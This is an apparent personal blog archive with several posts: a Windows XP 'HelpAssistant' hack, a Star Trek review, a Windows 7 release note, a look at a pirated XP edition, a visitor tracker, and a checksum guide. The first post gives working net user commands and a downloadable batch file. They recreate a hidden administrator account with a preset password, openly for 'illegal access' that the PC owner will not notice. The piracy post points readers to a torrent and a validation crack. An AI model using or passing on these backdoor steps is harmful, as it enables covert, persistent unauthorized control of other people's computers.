About Windows XP's secret "HelpAssistant" account hack

I'm sure most of the users on Windows XP might feel impotent when they want an illegal access to a computer configured with an "Administrators" account (also known as an Admin account) with a password. Well there's a backdoor hack in Windows XP which can come to your rescue in such cases. The backdoor hack uses the HelpAssistant account pre-configured in Windows XP to tide over the above discussed problem.

**Note** that this hack works only if you currently have access to a live account with Admin privileges. This means you need to execute the following commands when you're currently logged into an Admin account. Guest accounts or one's which do not have the privilege to create and remove user account's will not be able to use this hack. You need to be logged into an Admin account to perform this hack only once and then HURRAY !!! you yourself are the admin without anyone coming to know about this. HelpAssistant hack once performed will give you complete access to Windows XP with Admin privileges .
Interesting huh ... ?


For those intellects who would like to understand the process I'm providing a comprehensive explanation for the same. The process involves executing the following three commands in command prompt:


1] The first command "cd\" changes the current location to the root location of the current drive. This step in not at all necessary but it's a good practice to execute commands in a clean prompt.

2] The second command "net user HelpAssistant /delete" deletes the pre-configured HelpAssistant account from Windows XP. This clears our way for using the backdoor hack. Make sure you preserve the cases-'H' and 'A' should be in CAPS.

3] The third command "net user HelpAssistant gg123 /add" creates an HelpAssistant account with the password "gg123". You can set the password as per your comfort.

4] The fourth command "net localgroup Administrators HelpAssistant /add" adds the HelpAssistant user to the Administrators group giving you Admin privileges.

Your HelpAssistant hack is now complete. Now when you restart your computer, at the login screen the "HelpAssistant" account logo won't show up. This is the hack-The account inspite of being present is hidden. You'll have to press "Ctrl-Alt-Del" twice at the login screen to bring up a Login window. Enter "HelpAssistant" as the Username and the password to login into the account. The Owner of the PC will never come to know that you've got admin access to his computer unless he/she is technically smart enough to know that HelpAssistant really exists. The probability of this happening is minimal so don't worry. Now enjoy unrestrained access in your PC with Admin privileges.

NOTE:

--> HelpAssistant account maintains your password only for 42 days and on the expiry of which you'll be prompted at the login screen to change the password. You can set the previously set password again if you want.

===================================================================

For lazy people who do not want to use their minds and efforts over the above process can download my executable batch-file to perform the hack for you. Make sure you run the file in a session with Admin privileges else this hack will fail. The preset password in the file is "gg123".

Here's the link: HelpAssistant Hack.zip

===================================================================

Star Trek : A not-so-enjoyable trek

Just watched the movie Star Trek a couple of days ago in a multiplex nearby. Phew !!! I should rather say I witnessed or spectated the movie rather than watched it because such was my experience. This movie was the second in my life in which I was tempted to walk out after the intermission but could not since I had spent some valuable money and would have offended my friends if I did so. By the way, the first movie was "Abhay" directed by Kamal Hasan and starring himself in the lead role with Raveena Tandon.

As usual with all action movies the chilling sequences at the start of the movie promised a humdinger but unfortunately it wasn't this time. A lot many times during the movie I had to assume some part of the story and sometimes even compromise with it to come in terms with the latter(I can't help himself since I cannot afford to just sit through the movie like a Couch Potatao). The experience was becoming so boring to the levels of desperation that I started fidgeting with my hair, pockets, mobile phone and legs. At one point I was hoping that the electricity trips to add some extravagant joy in the movie hall in this somber-some movie. I can now remember how my curiosity before the start of the movie has turned into boredom in the middle which lasted till the very end. I do not remember anything-literally nothing except some faint memory of words like Jim, Spark, Voyager, dad, mom and so on . As the movie progressed, I periodically looked at all my friends' faces who were seated to my left. I can see all calm and lost faces except one - "Joel" who had convinced us to watch this so called four star rated film. I'm sure in the course of the film he would be praying in his mind that his friends excuse him for this debacle.

But to be honest, he is not the one to be blamed. I now know and have realized for myself that my taste has changed - From the insatiable hunger for ACTION FILMS it has now transited to DRAMATIC, ROMANTIC, THRILLING and MATERIALISTIC FILMS. I now have films like Blood Diamond, Revolutionary Road, Wild Hoggs, Titanic etc in my favorite list. The list once included only action films like Rambo series, Rocky series, Mummy, Matrix etc.

CONCLUSION:
Some of the basic rules still hold true while making decisions and they are as follows: (assuming of course you are not under any obligations or restrictions)

---> Listen to your heart and mind first

---> Make decisions which make you happy

---> You are unique in your very own way so be yourself and be free.

---> Lastly, stand by whatever decision you've made even if you're wrong.

Windows 7 release date is out now....

Wow !!! I think Microsoft has surprised all of us. Previously, there was a lot of speculation across a large part of the web mainly blogging sites and computer buzzing sites that Microsoft is delaying the release to first quarter of 2010. But with this I think it has stuck to it's commitment.

Windows 7 to ship Oct. 22

(Click to read more on it)

Just to remind you, the above date is for OEM's and volume licensing partners like Dell, Lenovo, Acer, HP etc. For end-users to buy a copy across the counter it will be available say around mid-November.

And for end-users in India it will be Christmas of 2009. (This is what was quoted by Steve Ballmer, CEO of Microsoft at Tech. Ed. 2009).

Tried "Windows XP Performance Edition" -- It failed and failed miserably

Just tried an illegal, manipulated copy of Windows XP named "Windows XP Performance Edition, March 2009" obtained from one of my friends who procured it VIA BitComet and believe me the entire experience taught me a lesson albeit in a practical way. Being an MSP (Microsoft Student Partner) I should not be encouraging any use of illegal or inauthentic copies of software especially from Microsoft but the ploy of this blog is valid enough to encourage you to try this illegal copy so you'll get know the importance of "Genuine and License Software". You'll also understand as to why Microsoft spends millions behind it's "Genuine Advantage" campaign to enlighten the end-users about the pro's of using genuine Microsoft software.

---

Download Windows XP Performance Edition: (Try it at your own risk though)

---

Now about "Windows XP Performance Edition":

• An illegitimate, manipulated version of Windows XP released over Torrent sites by a user known by his alias "" in a bid to remove all not-so-required windows components and automated tweaks to achieve the best possible performance.
• The source is an ISO file which comes preloaded with Microsoft latest Service Pack 3 (SP3). The ISO file is in a highly compressed format weighing just 256 MB in contrast to the size of the genuine version which is 650 MB.
• The "i386" folder has been smartly manipulated by the illegitimate author to remove many Windows components like Windows Media Player, Windows Movie Maker, Windows Messenger, Mouse pointers, Games, Networking components, additional drivers, additional services etc in a bid to achieve high performance. Also a lot many tweaks to the Registry Editor are made inherent to facilitate more ease for the user.
• The ISO also contains a crack for "Genuine Advantage validation" .
• The author claims that this Edition also works well on Virtual machines like Virtual Box v2.2.1, Virtual PC 2007, VMWare etc.

But the real blunder is when the author in a bid to remove windows components to reduce the size and attain best performance has also removed essential windows components and hence a lot many errors, failures, inconsistencies and flaws can be witnessed. The feasibility over a long term for this illegitimate product can be put to nil from all my observations and experiences with it after just an hour of experiments.

The intent was good from the author's point-of-view but I don't thing he'll be successfull before 10 more revised realeases.

No IIS(Internet Information Services) in it and cannot be added by any way. That's just one example. The story goes on and on ....

The biggest JOKE - Type "control" in Start-->Run and you see "Fault Exception error at a memory location 0x0054ca"
Want some more... - Type "devmgmt.msc" in Start-->Run and "mmc" fails.

I guess a lot many things are going to fail if I spend another day or two .... :) :)

Now my dear readers, I'm sure by this time you must have realized as to why Microsoft spends millions behind "Genuine Advantage" campaign and why genuine and authentic software is invaluable !!

---

Small note dated 11th Sept, 2011: I went through the comments recently and I do not rule out the fact that this Edition might have improved since this post have been written. A gentle request to consider the points in this post for the period and the version when this post has been written.

The link to the torrent download has been updated above.

---

A Realtime Blog Tracker

This discovery comes from one of my friend a.k.a Joel Mathias. For all bloggers who put their heart in and out into their piece of work and want to know the classified visitor statistics can use this service at http://tracker.icerocket.com

Here are it's features:
--> It is an invisible tracker that will count your blog visits and other blog statistics
--> This product is completely free! No ads will be put on your blog.
--> Statistics are shown on a daily, weekly or monthly basis. Statistics include no. of visits and no. of clicks. Graphs are used to interpret it more easily.
--> All you need to do is register for an account and insert a small piece of code into your blog so it will start gathering statistics for your blog. Then you will be able to analyse and monitor all the visits to your blog in real-time!

What is MD5Sum and SHA-1 ?

ISO images have become a de-facto standard for sharing software mostly packaged, licensed and are genuine like operating systems, large development software etc over the web and now a days between peers. Some of the very famous examples include Linux Ubuntu images, Windows XP images, Visual Studio 2008 images. These images are in compressed format with the additional feature that the integrity and authenticity is maintained. That's the reason why they cannot be edited even with softwares like WinRAR, Magic ISO Maker etc though some softwares have come off late like the latest version of Magic ISO Maker i.e. 5.5.274 which can edit them as well. But the case in question is when ISO files get corrupted due to erroneous file-transfer, download or a damaged file hosted on a server. The implication is that if you burn and use that ISO say in installing an OS then you'll have to follow the steps back again after getting a clean ISO. Add to it that no software can come to your rescue in such case since the data stream is corrupted and that can't be corrected. So what can you do to check that your ISO is clean assuming it has come from authentic sources....? MD5SUM and SHA-1 is the answer to the question.

Sources like Microsoft, Ubuntu, Sun Microsystems, Google support MD5Sum and SHA-1 hash code when they allow ISO images for public download. Check the image below. It is to be noted that md5sum is of no use if the indented ISO is user-made or has come from inauthentic sources.

The program md5sum is designed to verify data integrity using the MD5 (Message-Digest algorithm 5) 128-bit cryptographic hash. MD5 hashes used properly can confirm both file integrity and authenticity.

In terms of integrity, an MD5 hash comparison detects changes in files that would cause errors. The possibility of changes (errors) is proportional to the size of the file; the possibility of errors increase as the file becomes larger. It is a very good idea to run an MD5 hash comparison check when you have a file like an operating system install CD that has to be 100% correct.

In terms of security, cryptographic hashes such as MD5 allow for authentication of data obtained from insecure mirrors. The MD5 hash must be signed or come from a secure source (an HTTPS page) of an organization you trust.

While security flaws in the MD5 algorithm have been uncovered, MD5 hashes are still useful when you trust the organization that produces them. Moving to more secure hashes like SHA-256 and Whirlpool is under discussion.

MD5SUM and SHA-1 on Linux

Most Linux distributions come with the md5sum utility so installation is usually unnecessary. We are going to use the Ubuntu 8.10 LiveCD for the following example:

First go to the correct directory to check a downloaded iso file:

• cd download_directory

Then run the following command from within the download directory.

• md5sum ubuntu-8.10-i386.iso

  sha1sum ubuntu-8.10-i386.iso  (for SHA-1) 

The md5sum should print out a single line after calculating the hash:

• 24ea1163ea6c9f5dae77de8c49ee7c03 ubuntu-8.10-i386.iso

Compare the hash (the alphanumeric string on left) that your machine calculated with the corresponding hash provided by the owner of the ISO (in case you do not have then Google it out). When both hashes match exactly then the downloaded file is almost certainly intact. If the hashes do not match, then there was a problem with either the download or a problem with the server. You should download the file again from either the same mirror, or from a different mirror if you suspect a server error. If you continuously receive an erroneous file from a server, please be kind and notify the webmaster of that mirror so they can investigate the issue.

MD5SUM and SHA-1 on Windows

Windows does not come with MD5Sum and SHA-1. There are also graphical tools such as the one used in the walk-through provided below:

1. Download and run MD5 & SHA-1 Checksum Utility, a free and open source hash verification utility.
2. Browse to the ISO file and the MD5 and SHA-1 hash will be generated.
3. Copy the corresponding hash from the owner of the ISO into the 'Hash' text box.
   
   
   
   
   
4. Click "Verify"
5. A message box will say if the hashes are equal.